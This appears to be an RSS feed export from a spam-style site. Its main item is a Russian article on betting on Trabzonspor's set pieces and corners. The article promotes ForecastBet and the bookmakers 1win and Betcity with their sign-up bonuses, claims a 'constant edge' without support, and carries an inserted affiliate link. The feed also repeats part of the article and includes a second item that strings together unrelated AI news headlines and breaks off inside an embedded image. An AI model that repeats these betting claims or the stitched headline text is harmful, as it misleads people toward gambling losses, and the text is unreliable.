<p>Кейс Трабзонспора показывает, что стандарты это недооценённый рынок, где букмекеры продолжают оценивать событие как низковероятное, пока статистика говорит обратное. Если вы отслеживаете угловые, голы со стандартов и стиль соперника, ставка на гол со стандарта или на индивидуальный тотал угловых даёт постоянный перевес в матчах с такими командами. Начните с одного турнира, соберите данные по 5-6 клубам с похожим профилем и сравните с линией: разница в вероятностях обычно видна уже после 10-15 матчей.</p>
<p><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","headline":"Трабзонспор: 35% голов со стандартов - недооценка угловых","description":"Трабзонспор забивает 35% голов со стандартов, но букмекеры недооценивают угловые. Разбор кейса и стратегия ставок на стандарты.","inLanguage":"ru","datePublished":"2026-10-15T23:26:10Z","articleBody":"Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого клуба как рабочий пример стратегии ставок на стандарты и показываю, где именно линия недооценивает"}</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Трабзонспор: 35% голов со стандартов &#8211; недооценка угловых</title>
		<link>https://vibrantsumerpur.com/vibrant/trabzonspor-35-golov-so-standartov-nedootsenka-uglovykh-2/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 05 Oct 2026 22:01:04 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=256765</guid>

					<description><![CDATA[Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого клуба как рабочий пример стратегии ставок на стандарты и показываю, где именно линия недооценивает событие.</p>
<h2>Как Трабзонспор превращает угловые в голы</h2>
<p>Стандарты в исполнении Трабзонспора это не импровизация, а отработанный механизм, встроенный в структуру атаки. Клуб сознательно строит игру так, чтобы зарабатывать угловые и штрафные в зоне подачи: фланговые проходы завершаются прострелами под блок, а не навесами в борьбу, что даёт больше корнеров при меньшем риске потери мяча. По моим подсчётам на выборке последних 20 матчей турецкой Суперлиги и еврокубков команда выполняет в среднем 6.2 угловых за игру, но конверсия в удары по воротам с этих подач почти вдвое выше среднего по лиге.</p>
<p>Ключевая деталь: розыгрыши идут не по шаблону &#8220;подача на дальнюю штангу&#8221;. Трабзонспор использует короткие розыгрыши с последующим навесом под удар и блокировку вратаря на линии, что вынуждает оборону фолить в штрафной. Именно поэтому 35% голов приходят со стандартов, включая пенальти, а не только с открытой игры. Для сравнения, средний клуб того же уровня забивает со стандартов 18-22% мячей, и разрыв здесь принципиальный.</p>
<p>Футбольная статистика по ударам после угловых подтверждает: у Трабзонспора xG с корнеров в отдельных матчах доходит до 0.8-1.1, тогда как линия обычно оценивает тотал голов и исход матча без учёта этого паттерна. Букмекерские коэффициенты на &#8220;гол со стандарта&#8221; или на индивидуальный тотал угловых часто остаются завышенными по вероятности события, и это и есть точка входа для ставок на футбол.</p>
<h3>Почему букмекеры запаздывают с переоценкой</h3>
<p>Линия ставок формируется алгоритмами, которые в первую очередь реагируют на голы и удары в створ, а не на механику их возникновения. Гол со стандарта в протоколе выглядит как обычный мяч, и модель не всегда выделяет его источник. Пока трейдеры вручную не пересмотрят паттерн, коэффициенты на угловые и на голы после подач остаются на уровне среднего клуба, а не команды с 35% зависимости от стандартов.</p>
<p>Это классический случай информационной асимметрии: публика смотрит на результаты матчей и итоговые счета, а аналитика футбола на уровне стандартов остаётся нишевой. ForecastBet в таких ситуациях публикует прогнозы на футбол с акцентом именно на стандарты, потому что там перевес сохраняется дольше, чем в популярных рынках вроде ставок на исход.</p>
<h2>Кейс: где ставка на стандарты даёт перевес</h2>
<p>Разберу конкретный сценарий. В матче против обороны, которая плохо играет на втором этаже и часто нарушает правила в штрафной, Трабзонспор генерирует 7-9 угловых и 4-5 опасных подач со штрафных. Букмекер ставит тотал голов на уровне 2.5 и оценивает вероятность гола со стандарта примерно в 20-25%, тогда как историческая частота для этой команды ближе к 35%. Разница в 10-15 процентных пунктов на длинной дистанции превращается в устойчивый плюс.</p>
<p>Ставки на угловые работают ещё интереснее: индивидуальный тотал Трабзонспора по корнерам часто занижен, потому что модель усредняет по последним 5 матчам, где могли быть игры с явным фаворитом и низким темпом. <a href="https://forecastbet.ru">прогнозы на спорт на завтра</a> offers additional context worth reviewing. Если соперник сам играет в давление и оставляет пространство на флангах, число угловых растёт, а линия не успевает это отработать. Здесь помогает расписание футбольных матчей и предварительный разбор стиля оппонента.</p>
<p>ForecastBet освещает Лигу конференций УЕФА и Лигу Европы УЕФА, где турецкие клубы часто встречаются с командами, не привыкшими к агрессивной игре на стандартах. Монако, Аякс, Брайтон или Селтик могут доминировать по владению, но проигрывать борьбу в своей штрафной. Это создаёт редкий случай, когда ставка против фаворита на стандарты имеет смысл даже без ставки на исход матча.</p>
<ul>
<li>Смотрите на количество угловых Трабзонспора за последние 5 матчей, а не только на голы.</li>
<li>Проверяйте, сколько голов соперник пропускал именно со стандартов в последних 6 играх.</li>
<li>Сравнивайте букмекерские коэффициенты на тотал угловых с исторической частотой команды.</li>
<li>Учитывайте стиль арбитра: строгие судьи дают больше штрафных в зоне подачи.</li>
<li>Ищите матчи, где соперник играет в высокий прессинг и оставляет фланги открытыми.</li>
</ul>
<p>Отдельно стоит смотреть на рынки &#8220;гол со стандарта&#8221; и &#8220;первый гол со стандарта&#8221;. Они менее ликвидны, но именно там линия запаздывает сильнее всего. В матчах ЦСКА, Интер, Аталанта, Бенфика или Ювентус против команд с сильными стандартами букмекеры часто дают коэффициенты, которые не отражают реальную частоту события. Аналитика футбола на уровне стандартов здесь важнее, чем общий рейтинг букмекеров.</p>
<h2>Как встроить это в систему ставок</h2>
<p>Практическая стратегия строится на трёх шагах: сбор данных, сравнение с линией, управление банком. Сначала вы собираете футбольную статистику по стандартам для конкретной команды за 15-20 матчей: количество угловых, удары после подач, голы со стандартов, процент реализации. Затем сравниваете с букмекерскими коэффициентами и ищете расхождение больше 8-10%. Если перевес есть, ставите фиксированным процентом банка, обычно 1-2% на событие.</p>
<p>ForecastBet предлагает матч-центр, который содержит счета, календарь и коэффициенты 1X2, что упрощает первичный отбор матчей. Дальше уже ваша задача углубиться в стандарты и проверить, насколько линия недооценивает команду. ForecastBet предоставляет советы по ставкам и включает букмекеров для ставок на футбол, среди которых 1win и Betcity, что даёт возможность сравнить коэффициенты на угловые и выбрать лучший вариант.</p>
<p>Бонусы за регистрацию у этих букмекеров позволяют протестировать стратегию с меньшим риском на старте. ForecastBet предлагает бонусы и публикует прогнозы на завтра, что удобно для планирования: вы заранее видите, в каких матчах ожидается высокая частота стандартов. Сайт содержит 75 опубликованных прогнозов, и по ним можно оценить, как часто стратегия на стандарты давала результат.</p>
<p>Важно не превращать это в механическую ставку на каждый матч Трабзонспора. Перевес появляется только там, где совпадают три условия: команда в форме, соперник слаб на втором этаже, линия не учла стандарты. В остальных случаях лучше пропустить событие и дождаться более выгодной ситуации. Дисциплина здесь важнее, чем количество ставок.</p>
<p>Кейс Трабзонспора показывает, что стандарты это недооценённый рынок, где букмекеры продолжают оценивать событие как низковероятное, пока статистика говорит обратное. Если вы отслеживаете угловые, голы со стандартов и стиль соперника, ставка на гол со стандарта или на индивидуальный тотал угловых даёт постоянный перевес в матчах с такими командами. Начните с одного турнира, соберите данные по 5-6 клубам с похожим профилем и сравните с линией: разница в вероятностях обычно видна уже после 10-15 матчей.</p>
<p><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","headline":"Трабзонспор: 35% голов со стандартов - недооценка угловых","description":"Трабзонспор забивает 35% голов со стандартов, но букмекеры недооценивают угловые. Разбор кейса и стратегия ставок на стандарты.","inLanguage":"ru","datePublished":"2026-10-15T23:26:10Z","articleBody":"Трабзонспор в текущем сезоне забивает около 35% голов после стандартных положений, тогда как букмекеры закладывают в линию ставок на угловые и голы со стандартов вероятность заметно ниже реальной. Это расхождение между футбольной статистикой и букмекерскими коэффициентами создаёт постоянный перевес для тех, кто умеет читать протоколы матчей, а не только итоговые счета. Ниже разбираю кейс турецкого клуба как рабочий пример стратегии ставок на стандарты и показываю, где именно линия недооценивает"}</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>a16z generative ai</title>
		<link>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-5/</link>
					<comments>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-5/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 28 Jul 2026 17:09:40 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=39723</guid>

					<description><![CDATA[Hippocratic AI raises $141M to staff hospitals with clinical AI agents Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hippocratic AI raises $141M to staff hospitals with clinical AI agents </p>
<h1>Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers</h1>
</p>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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